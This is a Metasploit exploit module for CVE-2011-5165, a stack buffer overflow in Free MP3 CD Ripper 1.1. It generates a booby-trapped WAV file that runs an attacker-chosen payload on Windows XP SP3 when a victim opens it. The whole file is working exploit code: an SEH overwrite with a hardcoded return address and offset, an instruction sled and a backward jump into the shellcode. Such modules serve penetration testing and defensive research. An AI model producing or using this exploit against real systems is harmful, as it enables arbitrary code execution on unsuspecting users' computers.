##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Free MP3 CD Ripper 1.1 WAV File Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack based buffer overflow found in Free MP3 CD
          Ripper 1.1.  The overflow is triggered when an unsuspecting user opens a malicious
          WAV file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Richard Leahy', # Initial discovery
          'X-h4ck',           # msf module is based on his poc
          'Tiago Henriques',  # msf module
          'James Fitts <fitts.james[at]gmail.com>' # clean ups
        ],
        'References' => [
          [ 'CVE', '2011-5165' ],
          [ 'OSVDB', '63349' ],
          [ 'EDB', '11975' ], # Initial disclosure
          [ 'EDB', '17727' ] # This exploit is based on this poc
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows XP SP3 EN',
            {
              'Ret' => 0x1001860b, # p/p/r in libFLAC.dll
              'Offset' => 4116
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-08-27',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.wav']),
      ]
    )
  end

  def exploit
    wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100
    wav << payload.encoded
    wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length))
    wav << generate_seh_record(target.ret)
    wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4
    wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(wav)
  end
end